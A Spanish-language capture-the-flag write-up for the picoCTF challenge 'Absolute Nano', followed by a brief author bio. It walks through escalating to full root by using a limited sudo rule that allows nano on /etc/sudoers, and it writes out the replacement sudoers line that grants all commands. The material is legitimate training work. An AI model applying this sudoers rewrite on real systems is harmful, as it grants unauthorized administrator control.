ABSOLUTE NANO writeup

Descripción
You have complete power with nano.
Think you can get the flag?
ABSOLUTE NANO solución
Lanzaremos la instancia y nos conectaremos a través de SSH:
ssh -p 57836 ctf-player@crystal-peak.picoctf.net
Si ejecutamos sudo -l podremos ver los comandos que podemos usar como sudo:
sudo -l

En este caso, podemos ejecutar /bin/nano como root, pero únicamente sobre /etc/sudoers.
/etc/sudoers es el archivo de Linux que permite diferenciar qué usuarios puede ejecutar qué comandos. Lo editaremos para modificar nuestros permisos, dado que ahora no podemos hacer ‘sudo nano flag.txt’:

Editaremos el archvo de sudoers:
sudo /bin/nano /etc/sudoers
Cambiaremos la siguiente línea:
ctf-player ALL=(ALL) NOPASSWD: /bin/nano /etc/sudoers
Por esta otra, que nos permitirá ejectar todos los comandos:
ctf-player ALL=(ALL) ALL
Ahora podremos abrir la flag:
sudo nano flag.txt

Completando así el CTF.
Consultor de ciberseguridad especializado en continuidad de negocio y respuesta ante incidentes. Interesado en analizar tecnologías desde una perspectiva de seguridad y descubrir su comportamiento real.
